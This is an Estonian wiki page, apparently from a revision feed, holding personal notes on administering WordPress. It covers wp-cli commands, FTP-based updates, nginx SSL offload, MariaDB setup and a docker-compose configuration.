#footer-inside {display: none;}&lt;br /&gt;
h1 {font-size: 20px; font-weight: bold;}&lt;br /&gt;
.entry-content table {background-color: #f6f6f6; width: 100%;}&lt;br /&gt;
.entry-content table.hinnatabel tr td:first-child:not(.fourcols) { width: 90%;}&lt;br /&gt;
.entry-content table.contact tr:nth-child(2n+1) td {&lt;br /&gt;
 background-color: #fff !important;&lt;br /&gt;
}&lt;br /&gt;
.tulp-teenus {width: 80%;}&lt;br /&gt;
.tulp-hind {width: 20%; text-align: center; font-weight: bold;}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kui /wp-admin/ uri enam ei tööta, siis võib olla abi http://codex.wordpress.org/Changing_The_Site_URL õpetusest, need read nö kirjutavad üle andmebaasis kirjeldatud väärtused, nad tuleb sisestada php faili algusse&lt;br /&gt;
&lt;br /&gt;
 define('WP_HOME','http://example.com');&lt;br /&gt;
 define('WP_SITEURL','http://example.com');&lt;br /&gt;
&lt;br /&gt;
või andmebaasis muuta&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; select option_value from wp_options where option_name='home';&lt;br /&gt;
 mysql&amp;gt; select option_value from wp_options where option_name='siteurl';&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; update wp_options set option_value='http://www.moraal.ee/wp' where option_name='home';&lt;br /&gt;
 mysql&amp;gt; update wp_options set option_value='http://www.moraal.ee/wp' where option_name='siteurl';&lt;br /&gt;
&lt;br /&gt;
===Tarkvara uuendamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara uuendamiseks on mitmeid võimalusi, muu hulgas&lt;br /&gt;
&lt;br /&gt;
* webgui kaudu&lt;br /&gt;
* failisüsteemi kaudu&lt;br /&gt;
&lt;br /&gt;
====Webgui kaudu====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt lähtub põhimõttest, et veebiserveri protsessidel ja veebirakendustega seotud failidel ja kataloogidel peavad võimalusel olema erinevad omanikud:grupid. Vastasel korral on pahalasel veel üks võimalus teha muudatusi rakendusserveri failisüseemi tundlikus osas.&lt;br /&gt;
&lt;br /&gt;
Pluginate ja WP tarkvara enda uuendamiseks on mitmeid võimalusi. Kui veebiserveri failisüsteemis on rakenduse failid mitte veebiserver protsessi vaid mingi kasutaja, kes ftp abil sisse logida saab, omad, siis on võimalik selline asjakorraldus&lt;br /&gt;
&lt;br /&gt;
* kasutaja logib admin privileegidega brauseri abil teenusesse sisse&lt;br /&gt;
* liigub uuendamise sektsiooni ja asub uuendama; esmalt Core, siis Themes ja lõpuks Plugins&lt;br /&gt;
* server pöördub internetti ja kopeerib vastava uuenduse ära&lt;br /&gt;
* server pöördub sisemiselt ise enda poole üle ftp kasutades seda 'kasutaja' kontot ja kopeerib failid failisüsteemi sobivatesse asukohtadesse (nii toimub kopeerimine failisüsteemi mitte veebiserveri kasutajana vaid ftp kasutajana)&lt;br /&gt;
* wordpress teeb lisaks mingeid abistavaid toiminguid (nt muudab failisüsteemis loabitte, muudab andmebaasi sisu jne)&lt;br /&gt;
&lt;br /&gt;
Selleks, et see asjakorraldus töötaks peab&lt;br /&gt;
&lt;br /&gt;
* veebiserveris töötama ftp server&lt;br /&gt;
* tundub, et piisab kui www-data kasutaja ei saa asjadele ligi ja siis rakendus hakkab ftp abil käima, vajadusel võib wp-config.php failis kasutada selliseid ridu (lisaks saab ideid aadressilt https://codex.wordpress.org/Editing_wp-config.php) (&lt;br /&gt;
&lt;br /&gt;
 define( 'FS_METHOD', 'ftpsockets' );&lt;br /&gt;
 define( 'FTP_BASE', '/html/' );&lt;br /&gt;
 define( 'FTP_SSL', false );&lt;br /&gt;
&lt;br /&gt;
kus FTP_BASE on see failisüsteemi WP rakenduse path, mis paistab ftp kasutajale peale sisselogimist (antud juhul on ftp kasutaja chrootitud)&lt;br /&gt;
&lt;br /&gt;
Uuendamisel ftp serverisse sisselogimisel paistab brauseris selline pilt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:wp-3.gif]]&lt;br /&gt;
&lt;br /&gt;
Lisaks saab kasutada selliseid parameetreid, siis toimub sellesse FTP serverisse sisselogimine automaatselt&lt;br /&gt;
&lt;br /&gt;
 define( 'FS_METHOD', 'ftpext' );&lt;br /&gt;
 define( 'FTP_USER', 'ftp-wp' );  &lt;br /&gt;
 define( 'FTP_PASS', 'parool' );  &lt;br /&gt;
 define( 'FTP_HOST', '127.0.0.1' );      &lt;br /&gt;
 define( 'FTP_SSL', false );&lt;br /&gt;
&lt;br /&gt;
* vsftpd serveri puhul võib abiks olla logimine&lt;br /&gt;
&lt;br /&gt;
 log_ftp_protocol=YES&lt;br /&gt;
&lt;br /&gt;
=====v. 4.6.1 -&amp;gt; 4.7.2=====&lt;br /&gt;
&lt;br /&gt;
Tundub, et v. 4.6.1 -&amp;gt; 4.7.2 uuendamine töötab väga ilusti. Fluida theme juures ilmus Front Page juurde nähtavale nö kummaline asi, selle väljalülitamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Failisüsteemi kaudu====&lt;br /&gt;
&lt;br /&gt;
Üldine protseduur, https://wordpress.org/documentation/article/updating-wordpress/#manual-update&lt;br /&gt;
&lt;br /&gt;
Failisüsteemi kaudu uuendamine sobib nt juhtumil kui webgui kaudu ei pakuta sobivat versiooni, nt uuendusel v. 5.7.2 -&amp;gt; 5.7.11, &lt;br /&gt;
https://wordpress.org/download/releases/#branch-57&lt;br /&gt;
&lt;br /&gt;
===SSL offload===&lt;br /&gt;
&lt;br /&gt;
Tundub, et Wordpress 6.6.2 töötab väga hästi ssl offloaderi, nt NginX taga. Paigaldamise protseduur&lt;br /&gt;
&lt;br /&gt;
* esmalt paigaldada ära naturaalse http://www.auul.pri.ee/wp/ aadressile ilma ssl kasutamiseta (otse backend poole pöördudes)&lt;br /&gt;
* lülitada ssl kasutamine sisse all esitatud kolme muudatuse abil (1. php rakenduses webgui kaudu 2. nginx, 3. php rakenduse seadistusfail)&lt;br /&gt;
&lt;br /&gt;
wordpress webgui enda seadistustes väljendada, Settings -&amp;gt; General&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WordPress Address (URL) - https://www.auul.pri.ee/wp/&lt;br /&gt;
Site Address (URL) - https://www.auul.pri.ee/wp/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seejärel nginx ssl offloader seadistustes&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
..&lt;br /&gt;
    location /wp {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto $scheme;&lt;br /&gt;
      proxy_pass http://192.168.1.24;&lt;br /&gt;
&lt;br /&gt;
      proxy_connect_timeout       900;&lt;br /&gt;
      proxy_send_timeout          900;&lt;br /&gt;
      proxy_read_timeout          900;&lt;br /&gt;
      send_timeout                900;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning php rakenduse seadisusfailis wp-config.php, algusse lisatud sektsioon, muus osas fail säilib&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# head -n 6 wp/wp-config.php &lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &amp;amp;&amp;amp; $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {&lt;br /&gt;
  $_SERVER['HTTPS'] = 'on';&lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab rakendust kasutada aadressil https://www.auul.pri.ee/wp/ (ja üle http:// enam ei saa).&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://blog.ldev.app/running-wordpress-behind-ssl-and-nginx-reverse-proxy/&lt;br /&gt;
* https://www.reddit.com/r/nginxproxymanager/comments/10u0wbj/running_wordpress_behind_nginx_proxy_manager/&lt;br /&gt;
&lt;br /&gt;
===wp-cli===&lt;br /&gt;
&lt;br /&gt;
wp-cli http://wp-cli.org/ võimaldab hallata WordPress lahendust käsurealt, sh automatiseerida tegevusi.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine====&lt;br /&gt;
&lt;br /&gt;
wp-cli esineb ühe phar faili kujul, mille saab kopeerida aadressilt ...&lt;br /&gt;
&lt;br /&gt;
 # cd /usr/local/bin&lt;br /&gt;
 # curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar&lt;br /&gt;
 # mv wp-cli.phar wp&lt;br /&gt;
 # chmod 0755 wp&lt;br /&gt;
&lt;br /&gt;
help küsimiseks sobib öelda wp ilma argumentideta&lt;br /&gt;
&lt;br /&gt;
 $ wp&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
====Veebikoha tekitamine====&lt;br /&gt;
&lt;br /&gt;
Ettevalmistusena peab olema olemas&lt;br /&gt;
&lt;br /&gt;
* unix kasutaja:parool&lt;br /&gt;
&lt;br /&gt;
 # mkdir -p /srv/site-2.moraal.ee/html&lt;br /&gt;
 # groupadd site-2&lt;br /&gt;
 # useradd -g site-2 -m -d /srv/site-2.moraal.ee/private -s /bin/bash site-2&lt;br /&gt;
 # chown -R site-2:site-2 /srv/site-2.moraal.ee&lt;br /&gt;
&lt;br /&gt;
* create database andmebaas, kasutaja ja parool&lt;br /&gt;
* apache veebiserveri virt host juurkataloogiga&lt;br /&gt;
&lt;br /&gt;
 /srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Allalaadimine, tulemusena on --path kataloogi php skriptid jms lahti pakitud&lt;br /&gt;
&lt;br /&gt;
 $ wp core download --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Seadistusfaili genereerimine, tulemusena moodustatakse fail /srv/site-2.moraal.ee/html/wp-config.php; käsureal kasutatakse varem tekitatud baasi ligipääse kusjuures nende toimimist taustal kontrollitakse&lt;br /&gt;
&lt;br /&gt;
 $ wp config create --path=/srv/site-2.moraal.ee/html --dbname=site_2 --dbuser=site_2 --dbpass=parool --dbhost=127.0.0.1 --dbprefix=wp_&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisu genereerimiseks&lt;br /&gt;
&lt;br /&gt;
 $ wp core install --path=/srv/site-2.moraal.ee/html --url=http://site-2.moraal.ee/ --title=site-2 --admin_user=admin \&lt;br /&gt;
  --admin_password=parool --admin_email=imre@auul.pri.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena on olemas default sisuga veebikoht aadressil http://site-2.moraal.ee/ ja sinna saab admin nimelise kasutaja ja näidatud parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lõpuks muuta veel osa katalooge veebiserveri kasutaja jaoks kirjutatavaks&lt;br /&gt;
&lt;br /&gt;
 # chown www-data:www-data /srv/site-2.moraal.ee/html/wp-content/uploads&lt;br /&gt;
&lt;br /&gt;
====Pluginate kasutamine====&lt;br /&gt;
&lt;br /&gt;
Plugina lisamine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin install hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Plugina aktiviseerimine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin activate hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Plugina deaktiviseerimine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin deactivate hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Pluginate nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp plugin list --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
+-------------+----------+--------+---------+&lt;br /&gt;
| name        | status   | update | version |&lt;br /&gt;
+-------------+----------+--------+---------+&lt;br /&gt;
| akismet     | inactive | none   | 3.3.2   |&lt;br /&gt;
| hello-dolly | inactive | none   | 1.6     |&lt;br /&gt;
+-------------+----------+--------+---------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plugina eemaldamine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin uninstall hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
====Themes kasutamine====&lt;br /&gt;
&lt;br /&gt;
Theme paigaldamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp theme install fluida --path=/srv/site-3.moraal.ee/html&lt;br /&gt;
Installing Fluida (1.3.3)&lt;br /&gt;
Downloading install package from https://downloads.wordpress.org/theme/fluida.1.3.3.zip...&lt;br /&gt;
Unpacking the package...&lt;br /&gt;
Installing the theme...&lt;br /&gt;
Theme installed successfully.&lt;br /&gt;
Success: Installed 1 of 1 themes.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Themes nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp theme list --path=/srv/site-3.moraal.ee/html&lt;br /&gt;
+-----------------+----------+--------+---------+&lt;br /&gt;
| name            | status   | update | version |&lt;br /&gt;
+-----------------+----------+--------+---------+&lt;br /&gt;
| fluida          | inactive | none   | 1.3.3   |&lt;br /&gt;
| twentyfifteen   | inactive | none   | 1.8     |&lt;br /&gt;
| twentyseventeen | active   | none   | 1.3     |&lt;br /&gt;
| twentysixteen   | inactive | none   | 1.3     |&lt;br /&gt;
+-----------------+----------+--------+---------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Theme aktiveerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp theme activate fluida --path=/srv/site-3.moraal.ee/html&lt;br /&gt;
Sccess: Switched to 'Fluida' theme.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Core uuendamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Kontrollsummade kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp checksum core --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
Success: WordPress install verifies against checksums.&lt;br /&gt;
&lt;br /&gt;
$ echo &amp;quot; &amp;quot; &amp;gt;&amp;gt; /srv/site-2.moraal.ee/html/index.php &lt;br /&gt;
$ wp checksum core --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
Warning: File doesn't verify against checksum: index.php&lt;br /&gt;
Error: WordPress install doesn't verify against checksums.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://deliciousbrains.com/automating-local-wordpress-site-setup-scripts/&lt;br /&gt;
* https://www.dreamhost.com/blog/upgrade-wordpress-core-command-line-wp-cli/&lt;br /&gt;
* https://www.linode.com/docs/websites/cms/install-wordpress-using-wp-cli-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
===Unustatud parooli muutmine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MariaDB [wp_napal]&amp;gt; UPDATE wp_moraalusers SET user_pass = MD5('uusparool') WHERE ID = 1;&lt;br /&gt;
Query OK, 1 row affected (0.15 sec)&lt;br /&gt;
Rows matched: 1  Changed: 1  Warnings: 0&lt;br /&gt;
&lt;br /&gt;
MariaDB [wp_napal]&amp;gt; SELECT ID, user_login, user_pass FROM wp_moraalusers;&lt;br /&gt;
+----+-----------------------+------------------------------------+&lt;br /&gt;
| ID | user_login            | user_pass                          |&lt;br /&gt;
+----+-----------------------+------------------------------------+&lt;br /&gt;
|  1 | imre.oolberg@moraal.ee | 5de5918ceb974a41a9575e385cc2f71b   |&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/WordPress&lt;br /&gt;
* Using WordPress, Tris Hussey, 2010&lt;br /&gt;
* http://usingwordpress.com/&lt;br /&gt;
&lt;br /&gt;
===Wordpress + Fluida abil lihtsa veebikoha tekitamine===&lt;br /&gt;
&lt;br /&gt;
* Pages sissekannete tekitamine (Avaleht, MS1 (menüüsissekanne), MS2, MS1-MV1 (menüüvalik), MS1-MV2, Kontakt jne)&lt;br /&gt;
&lt;br /&gt;
 Pages - Add New -&amp;gt; Publish&lt;br /&gt;
&lt;br /&gt;
* Menüü tekitamine&lt;br /&gt;
&lt;br /&gt;
 Appearance -&amp;gt; Menus -&amp;gt; create a new menü (nimega Peamenüü)&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
Menu Stucture alla viia Pages sissekanded&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
 Menu Settings -&amp;gt; Display location -&amp;gt; Primary Navigation&lt;br /&gt;
&lt;br /&gt;
* Fluida kohendamine&lt;br /&gt;
&lt;br /&gt;
Themes -&amp;gt; Fluida -&amp;gt; Customize&lt;br /&gt;
&lt;br /&gt;
ning seejärel läbi käia&lt;br /&gt;
&lt;br /&gt;
* Site Identity -&amp;gt; Site Identiy -&amp;gt; Site Title ja Site Tagline&lt;br /&gt;
&lt;br /&gt;
 Moraal&lt;br /&gt;
&lt;br /&gt;
* Layout - valida esimene&lt;br /&gt;
* Landing Page -&amp;gt; Settings -&amp;gt; Landing Page&lt;br /&gt;
&lt;br /&gt;
 Disabled (use WordPress homepage)&lt;br /&gt;
&lt;br /&gt;
* Homepage Settings -&amp;gt; A static page -&amp;gt; Homepage&lt;br /&gt;
&lt;br /&gt;
 Avaleht&lt;br /&gt;
&lt;br /&gt;
* Ilusad urlid (eeldab, et Apache mod rewrite jms on sisselülitatud)&lt;br /&gt;
&lt;br /&gt;
 Settings -&amp;gt; Permalinks -&amp;gt; Post name&lt;br /&gt;
&lt;br /&gt;
===20240919 andmebaasi kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MariaDB [(none)]&amp;gt; CREATE DATABASE projektinimi CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;&lt;br /&gt;
MariaDB [(none)]&amp;gt; grant all privileges on projektinimi.* to 'projektinimi'@'%' identified by 'parool';&lt;br /&gt;
MariaDB [(none)]&amp;gt; grant all privileges on projektinimi.* to 'projektinimi'@'localhost' identified by 'parool';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.auul.pri.ee/wiki/MariaDB&lt;br /&gt;
* https://www.coderedcorp.com/blog/guide-to-mysql-charsets-collations/#:~:text=utf8mb4_unicode_520_ci%20is%20an%20updated%20version,0%20standard.&lt;br /&gt;
&lt;br /&gt;
===20260515 andmebaasi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Ubuntu 26.04&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@wp-xxx:~# apt-get install mariadb-server&lt;br /&gt;
&lt;br /&gt;
root@wp-xxx:~# mysql&lt;br /&gt;
Welcome to the MariaDB monitor.  Commands end with ; or \g.&lt;br /&gt;
Your MariaDB connection id is 31&lt;br /&gt;
Server version: 11.8.6-MariaDB-5 from Ubuntu -- Please help get to 10k stars at https://github.com/MariaDB/Server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MariaDB [(none)]&amp;gt; CREATE DATABASE db_wp CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci;&lt;br /&gt;
Query OK, 1 row affected (0.001 sec)&lt;br /&gt;
&lt;br /&gt;
MariaDB [(none)]&amp;gt; CREATE USER 'user_wp'@'localhost' IDENTIFIED BY 'parool';&lt;br /&gt;
Query OK, 0 rows affected (0.001 sec)&lt;br /&gt;
&lt;br /&gt;
MariaDB [(none)]&amp;gt; GRANT ALL PRIVILEGES ON db_wp.* TO 'user_wp'@'localhost';&lt;br /&gt;
Query OK, 0 rows affected (0.001 sec)&lt;br /&gt;
&lt;br /&gt;
MariaDB [(none)]&amp;gt; FLUSH PRIVILEGES;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Docker compose abil===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-test:~# cat /srv/wp/dc/docker-compose-uus.yml &lt;br /&gt;
name: p_wp&lt;br /&gt;
services:&lt;br /&gt;
&lt;br /&gt;
  svc_wordpress:&lt;br /&gt;
    container_name: cn_wordpress_2&lt;br /&gt;
#    image: wordpress:5.9.3-php8.1-apache&lt;br /&gt;
#    image: wordpress:5.9.3-php8.1-apache_with_newrelic&lt;br /&gt;
#    image: wordpress:php7.4-apache&lt;br /&gt;
    image: wordpress:php8.3-apache&lt;br /&gt;
    restart: always&lt;br /&gt;
    ports:&lt;br /&gt;
      - 8686:80&lt;br /&gt;
    environment:&lt;br /&gt;
      WORDPRESS_DB_HOST: svc_mysql&lt;br /&gt;
      WORDPRESS_DB_USER: exampleuser&lt;br /&gt;
      WORDPRESS_DB_PASSWORD: parool&lt;br /&gt;
      WORDPRESS_DB_NAME: exampledb&lt;br /&gt;
    volumes:&lt;br /&gt;
      - '/srv/wp/volume/wordpress:/var/www/html'&lt;br /&gt;
    networks:&lt;br /&gt;
      - newrelic-php&lt;br /&gt;
&lt;br /&gt;
  svc_mysql:&lt;br /&gt;
    container_name: cn_mysql_2&lt;br /&gt;
#    image: mysql:5.7&lt;br /&gt;
    image: mariadb:noble&lt;br /&gt;
    restart: always&lt;br /&gt;
    environment:&lt;br /&gt;
      MYSQL_DATABASE: exampledb&lt;br /&gt;
      MYSQL_USER: exampleuser&lt;br /&gt;
      MYSQL_PASSWORD: parool&lt;br /&gt;
      MYSQL_RANDOM_ROOT_PASSWORD: '1'&lt;br /&gt;
    volumes:&lt;br /&gt;
      - '/srv/wp/volume/mysql:/var/lib/mysql'&lt;br /&gt;
    networks:&lt;br /&gt;
      - newrelic-php&lt;br /&gt;
      &lt;br /&gt;
  svc_redis:&lt;br /&gt;
    container_name: cn_redis&lt;br /&gt;
#    image: mysql:5.7&lt;br /&gt;
    image: redis:bookworm&lt;br /&gt;
    restart: always&lt;br /&gt;
    environment:&lt;br /&gt;
      - REDIS_PORT=6379&lt;br /&gt;
      - REDIS_DATABASES=16&lt;br /&gt;
#    volumes:&lt;br /&gt;
#      - '/srv/wp/volume/mysql:/root/redis'&lt;br /&gt;
    networks:&lt;br /&gt;
      - newrelic-php&lt;br /&gt;
      &lt;br /&gt;
networks:&lt;br /&gt;
  newrelic-php:&lt;br /&gt;
    name: newrelic-php&lt;br /&gt;
    external: true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=WordPress&amp;diff=4216</id>
		<title>WordPress</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=WordPress&amp;diff=4216"/>
		<updated>2026-06-15T10:53:13Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 20240919 andmebaasi kasutamine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
WordPress (WP) http://wordpress.org/ ...&lt;br /&gt;
&lt;br /&gt;
* http://wordpress.org/&lt;br /&gt;
* http://wordpress.com/&lt;br /&gt;
* http://automattic.com/&lt;br /&gt;
&lt;br /&gt;
Parlance&lt;br /&gt;
&lt;br /&gt;
* The Codex - WP dokumentatsioon&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistused===&lt;br /&gt;
&lt;br /&gt;
WordPress tarkvara kasutamiseks peab olema kasutada&lt;br /&gt;
&lt;br /&gt;
* MySQL andmebaas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mysql&amp;gt; create database site_1 character set utf8 collate utf8_general_ci;&lt;br /&gt;
mysql&amp;gt; grant all privileges on site_1.* to 'site_1'@'%' identified by 'parool';&lt;br /&gt;
mysql&amp;gt; grant all privileges on site_1.* to 'site_1'@'localhost' identified by 'parool';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* nt Apache veebiserver&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost 217.146.67.108:80&amp;gt;&lt;br /&gt;
    ServerAdmin www@site-2.moraal.ee&lt;br /&gt;
    DocumentRoot /srv/site-2.moraal.ee/html&lt;br /&gt;
    ServerName site-2.moraal.ee&lt;br /&gt;
    ErrorLog /var/log/apache2/site-2.moraal.ee-error.log&lt;br /&gt;
    LogFormat &amp;quot;%v %a %l %u %t \&amp;quot;%r\&amp;quot; %&amp;gt;s %b \&amp;quot;%{Referer}i\&amp;quot; \&amp;quot;%{User-Agent}i\&amp;quot; %D&amp;quot; vhost&lt;br /&gt;
    CustomLog /var/log/apache2/site-2.moraal.ee-access.log vhost&lt;br /&gt;
&lt;br /&gt;
&amp;lt;Directory /srv/site-2.moraal.ee/html&amp;gt;&lt;br /&gt;
    Options All -Indexes&lt;br /&gt;
    AllowOverride All&lt;br /&gt;
    Order allow,deny&lt;br /&gt;
    Allow from All&lt;br /&gt;
    AddDefaultCharset &amp;quot;utf-8&amp;quot;&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* veebiserveri ees olev tulemüür peab lubama nö isanda juurde 80 ja 443 pordile pöörduda (pluginate jms paigaldamiseks ja uuendamiseks)&lt;br /&gt;
&lt;br /&gt;
Süsteemis olema vajalikud abistavad teegid jms, nende paigaldamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # apt-get install `echo $(apt-get install wordpress -s | grep ^Inst | grep -v wordpress | awk {'print $2'})` -s&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara arhiiv aadressilt http://wordpress.org/ ja pakkida lahti veebijuurika all kataloogi&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # tar zxf /var/tmp/wordpress-4.2.4.tar.gz&lt;br /&gt;
&lt;br /&gt;
Muuta ajutiselt kõik rakenduse kataloogis www-data kasutajale kirjutatavaks&lt;br /&gt;
&lt;br /&gt;
 # chown -R www-data:www-data /var/www/html/wordpress&lt;br /&gt;
&lt;br /&gt;
Avades brauseris ning täites lahtrid sobivalt, eriti andmbaasi ligipääsi ligipääsu, paigaldada rakendus&lt;br /&gt;
&lt;br /&gt;
 http://wp.imool/wp&lt;br /&gt;
&lt;br /&gt;
* Site Title&lt;br /&gt;
* Username&lt;br /&gt;
* Password&lt;br /&gt;
* eposti aadress&lt;br /&gt;
* Privacy&lt;br /&gt;
&lt;br /&gt;
Peale paigaldamist muuta kõik rakenduse kataloogis kasutajale www-data mitte-kirjutatavaks&lt;br /&gt;
&lt;br /&gt;
 # chown -R ftp-wp:ftp-wp /var/www/html/wordpress&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab Wordpressi kasutada, tõenäoliselt on tarvis veel failisüsteemi õigustes midagi kohendada, nt&lt;br /&gt;
&lt;br /&gt;
 # chown www-data:www-data wp-content/uploads&lt;br /&gt;
&lt;br /&gt;
Admebaasi ligipääs on kirjeldatud seadistusfailis wp-config.php&lt;br /&gt;
&lt;br /&gt;
 define('DB_NAME', 'wp');                &lt;br /&gt;
 define('DB_USER', 'wp');           &lt;br /&gt;
 define('DB_PASSWORD', 'wpparool');     &lt;br /&gt;
 define('DB_HOST', 'localhost');&lt;br /&gt;
&lt;br /&gt;
===Seadistamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Komponentide paigaldamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Fluida teema paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2016 aasta suvel on Fluida https://wordpress.org/themes/fluida/ ilus puhas tasuta teema. Paigaldamiseks tuleb valida&lt;br /&gt;
&lt;br /&gt;
 Apperance -&amp;gt; Themes -&amp;gt; Add New -&amp;gt; Search themes -&amp;gt; 'Fluida'&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
